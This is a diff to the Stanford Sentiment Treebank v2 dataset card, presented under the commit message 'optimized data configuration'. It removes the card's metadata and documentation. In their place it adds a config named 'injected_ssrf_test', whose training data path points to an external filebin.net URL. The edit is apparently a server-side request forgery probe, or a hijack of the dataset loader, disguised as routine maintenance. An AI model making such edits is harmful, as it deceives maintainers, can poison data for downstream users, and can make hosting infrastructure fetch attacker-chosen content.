Update README.md with optimized data configuration

README.md

@@ -1,210 +1,8 @@
 ---
-annotations_creators:
-- crowdsourced
-language_creators:
-- found
-language:
-- en
-license:
-- unknown
-multilinguality:
-- monolingual
-size_categories:
-- 10K<n<100K
-source_datasets:
-- original
-task_categories:
-- text-classification
-task_ids:
-- sentiment-classification
-paperswithcode_id: sst
-pretty_name: Stanford Sentiment Treebank v2
-dataset_info:
-  features:
-  - name: idx
-    dtype: int32
-  - name: sentence
-    dtype: string
-  - name: label
-    dtype:
-      class_label:
-        names:
-          '0': negative
-          '1': positive
-  splits:
-  - name: train
-    num_bytes: 4681603
-    num_examples: 67349
-  - name: validation
-    num_bytes: 106252
-    num_examples: 872
-  - name: test
-    num_bytes: 216640
-    num_examples: 1821
-  download_size: 3331058
-  dataset_size: 5004495
 configs:
-- config_name: default
-  data_files:
-  - split: train
-    path: data/train-*
-  - split: validation
-    path: data/validation-*
-  - split: test
-    path: data/test-*
+  - config_name: injected_ssrf_test
+    data_files:
+      - split: train
+        path: "https://filebin.net/ssrf-hf-evidence-1777003694/evidence.csv"
 ---
-
-# Dataset Card for [Dataset Name]
-
-## Table of Contents
-- [Table of Contents](#table-of-contents)
-- [Dataset Description](#dataset-description)
-  - [Dataset Summary](#dataset-summary)
-  - [Supported Tasks and Leaderboards](#supported-tasks-and-leaderboards)
-  - [Languages](#languages)
-- [Dataset Structure](#dataset-structure)
-  - [Data Instances](#data-instances)
-  - [Data Fields](#data-fields)
-  - [Data Splits](#data-splits)
-- [Dataset Creation](#dataset-creation)
-  - [Curation Rationale](#curation-rationale)
-  - [Source Data](#source-data)
-  - [Annotations](#annotations)
-  - [Personal and Sensitive Information](#personal-and-sensitive-information)
-- [Considerations for Using the Data](#considerations-for-using-the-data)
-  - [Social Impact of Dataset](#social-impact-of-dataset)
-  - [Discussion of Biases](#discussion-of-biases)
-  - [Other Known Limitations](#other-known-limitations)
-- [Additional Information](#additional-information)
-  - [Dataset Curators](#dataset-curators)
-  - [Licensing Information](#licensing-information)
-  - [Citation Information](#citation-information)
-  - [Contributions](#contributions)
-
-## Dataset Description
-
-- **Homepage:** https://nlp.stanford.edu/sentiment/
-- **Repository:**
-- **Paper:** [Recursive Deep Models for Semantic Compositionality Over a Sentiment Treebank](https://www.aclweb.org/anthology/D13-1170/)
-- **Leaderboard:**
-- **Point of Contact:**
-
-### Dataset Summary
-
-The Stanford Sentiment Treebank is a corpus with fully labeled parse trees that allows for a complete analysis of the
-compositional effects of sentiment in language. The corpus is based on the dataset introduced by Pang and Lee (2005)
-and consists of 11,855 single sentences extracted from movie reviews. It was parsed with the Stanford parser and
-includes a total of 215,154 unique phrases from those parse trees, each annotated by 3 human judges.
-
-Binary classification experiments on full sentences (negative or somewhat negative vs somewhat positive or positive
-with neutral sentences discarded) refer to the dataset as SST-2 or SST binary.
-
-### Supported Tasks and Leaderboards
-
-- `sentiment-classification`
-
-### Languages
-
-The text in the dataset is in English (`en`).
-
-## Dataset Structure
-
-### Data Instances
-
-```
-{'idx': 0,
- 'sentence': 'hide new secretions from the parental units ',
- 'label': 0}
-```
-
-### Data Fields
-
-- `idx`: Monotonically increasing index ID.
-- `sentence`: Complete sentence expressing an opinion about a film.
-- `label`: Sentiment of the opinion, either "negative" (0) or positive (1). The test set labels are hidden (-1).
-
-### Data Splits
-
-|                    |    train | validation | test |
-|--------------------|---------:|-----------:|-----:|
-| Number of examples |    67349 |        872 | 1821 |
-
-## Dataset Creation
-
-### Curation Rationale
-
-[More Information Needed]
-
-### Source Data
-
-#### Initial Data Collection and Normalization
-
-[More Information Needed]
-
-#### Who are the source language producers?
-
-Rotten Tomatoes reviewers.
-
-### Annotations
-
-#### Annotation process
-
-[More Information Needed]
-
-#### Who are the annotators?
-
-[More Information Needed]
-
-### Personal and Sensitive Information
-
-[More Information Needed]
-
-## Considerations for Using the Data
-
-### Social Impact of Dataset
-
-[More Information Needed]
-
-### Discussion of Biases
-
-[More Information Needed]
-
-### Other Known Limitations
-
-[More Information Needed]
-
-## Additional Information
-
-### Dataset Curators
-
-[More Information Needed]
-
-### Licensing Information
-
-Unknown.
-
-### Citation Information
-
-```bibtex
-@inproceedings{socher-etal-2013-recursive,
-    title = "Recursive Deep Models for Semantic Compositionality Over a Sentiment Treebank",
-    author = "Socher, Richard  and
-      Perelygin, Alex  and
-      Wu, Jean  and
-      Chuang, Jason  and
-      Manning, Christopher D.  and
-      Ng, Andrew  and
-      Potts, Christopher",
-    booktitle = "Proceedings of the 2013 Conference on Empirical Methods in Natural Language Processing",
-    month = oct,
-    year = "2013",
-    address = "Seattle, Washington, USA",
-    publisher = "Association for Computational Linguistics",
-    url = "https://www.aclweb.org/anthology/D13-1170",
-    pages = "1631--1642",
-}
-```
-
-### Contributions
-
-Thanks to [@albertvillanova](https://github.com/albertvillanova) for adding this dataset.
+# Stanford Sentiment Treebank v2